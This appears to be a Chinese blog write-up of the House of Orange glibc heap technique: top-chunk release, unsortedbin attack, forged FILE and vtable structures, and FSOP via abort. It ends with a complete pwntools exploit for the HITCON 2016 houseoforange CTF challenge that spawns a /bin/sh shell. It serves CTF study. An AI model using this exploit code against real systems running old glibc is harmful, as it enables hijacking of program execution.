House of Orange

文章发布时间:

最后更新时间:

文章总字数:
2.4k

预计阅读时间:
10 分钟

前言

这一个house of链应该算是最早的伪造io file来达到攻击目的的链了

借助这个来熟悉一下file结构体 这个链本身现在已经失去价值了 只能适用于libc2.23及以前的版本

这条链可以突破没有free函数的限制 并且达到劫持程序执行流的目的

File结构

File是linux标准IO库中用来描述文件的结构 程序的许多操作会涉及到遍历File结构体来获取对应指针

file结构的本质上是一个链表 链表头为IO_list_all 每个file结构的chain域指向下一个file结构

每个程序启动时有三个文件流是默认打开的 就是stdin stdout stderr

image-20230511104043909

至于vtable 是一个存放许多函数指针的结构体

image-20230511104224447

house of orange所涉及到的就是伪造上述的这两个结构体 从而劫持程序执行流

链路流程分析

我们知道 当plmalloc初始化堆后 如果bin中没有合适的chunk 就会从top chunk中分配所需要的chunk 那么如果所申请的chunk大于top chunk呢 分两种情况

一种是申请的chunk的size过大 需要通过mmap来分配 那么这种情况分配到的chunk就会位于libc地址上的一块空间

还有一种是top chunk过小 那么此时就会把top chunk释放进入unsortedbin 随后再次申请一个top chunk 从新的top chunk中分配所需要的chunk 不过释放top chunk还需要进行一次判断 下面来看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* There are no usable arenas and mmap also failed.  */
if (av == NULL)
return 0;

/* Record incoming configuration of top */

old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

可以看到需要进行两次的assert检查

第一次 对top chunk的大小进行检查 需要大于MINSIZE 并且Prev_inuse位要为1 top chunk的addr和size加起来还要满足刚好为一个页

我们覆盖top chunk的size 使得其不足以供我们分配 这个size要使得top chunk的结尾后3位为000

image-20230511110256747

此时我们覆盖top chunk的size 接下来申请一个大于其size的chunk top chunk就会被释放进入unsortedbin

image-20230511110308999

通过这种办法 可以在程序没有给予释放chunk的函数下 获得一个unsortedbin中的chunk 而在2.23及以下的版本 unsortedbin attack来任意写一个main_arena地址还是可行的 这意味着我们拥有了一次任意写的机会

我们上面说到过 file结构本质是一个链表 是通过链表头的IO_list_all的chain域来链接到下一个的file结构体

那么如果我们覆盖IO_list_all指针存放的值 接着伪造一个file结构体 把chain域覆盖成fake_file的地址 就可以实现扰乱程序索引file结构体

但是unsortedbin attack任意写的功效是有限的 只能写入main_arena+88的地址 那么根据偏移 其chain域会索引到main_arena+88+0x68处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x0   _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable

image-20230511111233849

而这个偏移的地址 刚好是smallbins中 0x60的链表所位于的地址 所以我们可以释放一个0x60大小的chunk到smallbins 随后任意写覆盖io_list_all为main_arena+88 这样索引到的下一个file结构体就是smallbin chunk 伪造file结构体 就可以在这个chunk中伪造

接着是如何触发的问题 只是伪造肯定不能满足劫持执行流的目的 同时如何伪造也要根据触发的方式

这里涉及到了FSOP的知识点

其是通过IO_flush_all_lockp这个函数 这个函数会刷新io_list_all链表中的所有文件流 相当于对每个函数调用了fflush函数

而这个函数会调用到file结构体中vtable结构体中的IO_overflow函数

如下图 我们这样伪造一个file结构体

image-20230511113348820

其vtable也被我们所伪造 来看以下vtable

image-20230511113416630

将其overflow函数指针伪造成system 接下来利用gdb动调进入IO_flush_all_lockp函数 看看其调用system函数时的rdi参数时什么

可以看到rdi参数实际上是我们所伪造的file结构体的首地址 所以只要使得fake file的首地址为/bin/sh即可

那么如何触发IO_flush_all_lockp函数呢 一共有三种选择

  1. 当 libc 执行 abort 流程时

  2. 当执行 exit 函数时

  3. 当执行流从 main 函数返回时

这里使用的是第一种办法 相对来说更加通用

这个abort流程是什么呢 实际上我们破坏了堆结构 导致调用malloc_printerr函数来输出错误信息

至于具体是哪里的我没动调出来 大致的猜测是unsortedbin的bk指向的地址没有构成完整的双向链表导致的进入while循环 但是这个if分支为啥会成立就是个疑点了

1
2
3
4
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);

malloc_printerr函数种会调用__libc_message函数

image-20230511133005494

这个函数的内部就调用了abort函数

image-20230511133146868

而abort内部调用了_IO_flush_all_lockp函数

image-20230511133220920

于是就可以调用到fake file的io_overflow函数

同时我们再来看一下_IO_flush_all_lockp函数怎样才能调用了file结构体的io_overflow函数

1
2
3
4
5
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}

需要使得mode小于等于0 IO_write_ptr大于IO_write_base

那么就使得io_write_ptr = 1 io_write_base = mode = 0即可

还有一点需要注意的是 main_arena+88的那个fake file 如果我们触发了_IO_flush_all_lockp函数 其如果满足上面的条件 也是会调用overflow函数 但是很明显不能在这里就调用overflow函数

如下图 _mode的值是否为正负和aslr和pie导致的地址随机化有关 所以这里存在一个概率打通的问题 需要mode为负才能打通

image-20230511185011932

真题分析

houseoforange hitcon 2016

add函数限制了申请chunk的size 小于等于0x1000

show函数可以打印堆块内容

edit函数存在堆溢出

但是没有释放堆块的函数 同时chunk指针只能保存一个 所以show和edit都只对最新申请的chunk有效

image-20230511182824591

申请一个chunk会额外申请两个chunk 低地址处的chunk存放着实际分配的chunk和第三个chunk的地址

中间的chunk是实际分配的chunk 第三个chunk是用来存放price和color 不过没啥用 这题的核心考点不在于这两个伴随堆块

利用上面提到的办法 来使得top chunk被释放进入unsortedbin 随后申请一个chunk 就可以泄露libc基址

并且 如果申请到的是一个largebin chunk 那么还可以顺便泄露一下堆地址

1
2
3
4
5
6
7
8
9
10
11
12
add(0x10,b'aaaa')
payload = cyclic(0x18)+p64(0x21)+p32(0)+p32(0x1f)+cyclic(0x10)+p64(0xfa1)
edit(len(payload),payload)
add(0x1000,b'aaaa')
add(0x400,cyclic(0x8))
show()
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x3c5188
success("libc_addr :"+hex(libc_addr))
edit(0x10,cyclic(0x10))
show()
heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0xc0
success("heap_addr :"+hex(heap_addr))

接下来就是利用unsortedbin attack来往io_list_all中写入main_arena的地址

随后计算偏移构造fake file

1
2
3
4
5
6
7
8
fake_io = libc_addr + libc.sym['_IO_list_all']
system_addr = libc_addr + libc.sym['system']
payload = cyclic(0x408)+p64(0x21)+cyclic(0x10) #填充到old top chunk
fake_file = b'/bin/sh\x00'+p64(0x60) #覆盖size 使其释放到smallbin 0x60链表
fake_file += p64(0)+p64(fake_io-0x10) #伪造bk域
fake_file += p64(0)+p64(1) #布局io_write_ptr和io_write_base
fake_file = fake_file.ljust(0xc0,b'\x00') #填充偏移
payload += fake_file + p64(0)*3+p64(heap_addr+0x5c8)+p64(0)*2+p64(system_addr) #伪造vtable结构体

随后再次进入add函数 只要触发了malloc函数 就可以触发fake file

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("node4.buuoj.cn",29861)
elf = ELF("./pwn")
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./ld-linux.so.2")
libc = ELF("/home/chen/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = "amd64"
context.log_level = "debug"
def debug():
gdb.attach(io)
pause()

def add(size,payload):
io.recvuntil("Your choice : ")
io.sendline(b'1')
io.recvuntil("Length of name :")
io.send(str(size))
io.recvuntil("Name :")
io.send(payload)
io.recvuntil("Price of Orange:")
io.send(b'aaaa')
io.recvuntil("Color of Orange:")
io.send(str(1))
def show():
io.recvuntil("Your choice : ")
io.sendline(b'2')
def edit(size,payload):
io.recvuntil("Your choice : ")
io.sendline(b'3')
io.recvuntil("Length of name :")
io.send(str(size))
io.recvuntil("Name:")
io.send(payload)
io.recvuntil("Price of Orange:")
io.send(b'aaaa')
io.recvuntil("Color of Orange:")
io.send(str(1))

add(0x10,b'aaaa')
payload = cyclic(0x18)+p64(0x21)+p32(0)+p32(0x1f)+cyclic(0x10)+p64(0xfa1)
edit(len(payload),payload)
add(0x1000,b'aaaa')
add(0x400,cyclic(0x8))
show()
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x3c5188
success("libc_addr :"+hex(libc_addr))
edit(0x10,cyclic(0x10))
show()
heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0xc0
success("heap_addr :"+hex(heap_addr))
fake_io = libc_addr + libc.sym['_IO_list_all']
system_addr = libc_addr + libc.sym['system']
payload = cyclic(0x408)+p64(0x21)+cyclic(0x10)
fake_file = b'/bin/sh\x00'+p64(0x60)
fake_file += p64(0)+p64(fake_io-0x10)
fake_file += p64(0)+p64(1)
fake_file = fake_file.ljust(0xc0,b'\x00')
payload += fake_file + p64(0)*3+p64(heap_addr+0x5c8)+p64(0)*2+p64(system_addr)
edit(len(payload),payload)
io.recvuntil("Your choice : ")
# gdb.attach(io,'b *$rebase(0xD68)')
# pause(0)
io.sendline(b'1')
# pause()
io.interactive()